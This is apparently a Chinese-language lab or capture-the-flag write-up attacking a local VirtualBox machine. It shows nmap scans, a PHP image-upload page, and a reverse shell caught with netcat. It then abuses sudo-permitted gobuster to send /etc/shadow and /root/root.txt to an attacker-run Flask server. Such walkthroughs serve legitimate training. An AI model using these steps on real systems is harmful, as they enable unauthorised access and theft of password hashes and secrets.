⚡ root@kali ~ nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 01:17 EST Nmap scan report for 192.168.56.1 Host is up (0.00034s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for 192.168.56.2 Host is up (0.00028s latency). MAC Address: 08:00:27:44:BF:0B (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.31 Host is up (0.00051s latency). MAC Address: 08:00:27:1E:60:21 (Oracle VirtualBox virtual NIC)
1 2 3 4 5 6 7 8 9 10
⚡ root@kali ~ nmap -sT -min-rate 10000 -p- 192.168.56.31 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 01:18 EST Nmap scan report for 192.168.56.31 Host is up (0.00085s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:1E:60:21 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 17.22 seconds
这次UDP竟然扫出来东西了,mDNS(Multicast DNS)的默认端口,通常用于 DNS 服务发现
1 2 3 4 5 6 7 8 9 10 11
⚡ root@kali ~ nmap -sU -min-rate 10000 -p- 192.168.56.31 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 01:19 EST Warning: 192.168.56.31 giving up on port because retransmission cap hit (10). Nmap scan report for 192.168.56.31 Host is up (0.00090s latency). Not shown: 65456 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach) PORT STATE SERVICE 5353/udp open zeroconf MAC Address: 08:00:27:1E:60:21 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 86.07 seconds
⚡ root@kali ~ nmap -sT -A -T4 -O -p 80 192.168.56.31 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 01:21 EST Nmap scan report for 192.168.56.31 Host is up (0.00060s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: RodGar - Subir Imagen MAC Address: 08:00:27:1E:60:21 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.60 ms 192.168.56.31
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.56 seconds
⚡ root@kali ~ nmap -sU -A -T4 -O -p 5353 192.168.56.31 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 01:22 EST Nmap scan report for 192.168.56.31 Host is up (0.00069s latency).
PORT STATE SERVICE VERSION 5353/udp open mdns DNS-based service discovery | dns-service-discovery: | 80/tcp http |_ Address=192.168.56.31 fe80::a00:27ff:fe1e:6021 MAC Address: 08:00:27:1E:60:21 (Oracle VirtualBox virtual NIC) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.69 ms 192.168.56.31
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
⚡ root@kali ~ nmap -script=vuln -p 80 192.168.56.31 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 01:23 EST Nmap scan report for 192.168.56.31 Host is up (0.00034s latency).
PORT STATE SERVICE 80/tcp open http | http-fileupload-exploiter: | |_ Failed to upload and execute a payload. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.31 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.31:80/ | Form id: file-upload |_ Form action: |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. MAC Address: 08:00:27:1E:60:21 (Oracle VirtualBox virtual NIC)
if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFilePath)) { $message = "El archivo se ha subido correctamente."; } else { $message = "Hubo un error al subir el archivo."; } } else { $message = "Solo se permiten archivos JPG y GIF."; } } ?>
⚡ root@kali ~ nc -lvp 4444 listening on [any] 4444 ... id 192.168.56.31: inverse host lookup failed: Host name lookup failure connect to [192.168.56.4] from (UNKNOWN) [192.168.56.31] 50214 bash: cannot set terminal process group (739): Inappropriate ioctl for device bash: no job control in this shell www-data@debian:/var/www/html/uploads$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@debian:/var/www/html/uploads$
if __name__ == '__main__': app.run(host="0.0.0.0", port=81)
kali开启服务器
1
python a.py
然后在靶机使用gobuster指定字典/etc/shadow ,执行
1
sudo gobuster dir -u http://192.168.56.4:81 -w /etc/shadow --exclude-length 0
那么这样就能读取到/etc/shadow的文件夹了
接着尝试读取/root/root.txt文件
1 2 3
www-data@debian:/var/www/html/uploads$ sudo gobuster dir -u http://192.168.56.4:81 -w /root/root.txt --exclude-length 0 <92.168.56.4:81 -w /root/root.txt --exclude-length 0 Error: error on parsing arguments: wordlist file "/root/root.txt" does not exist: stat /root/root.txt: no such file or directory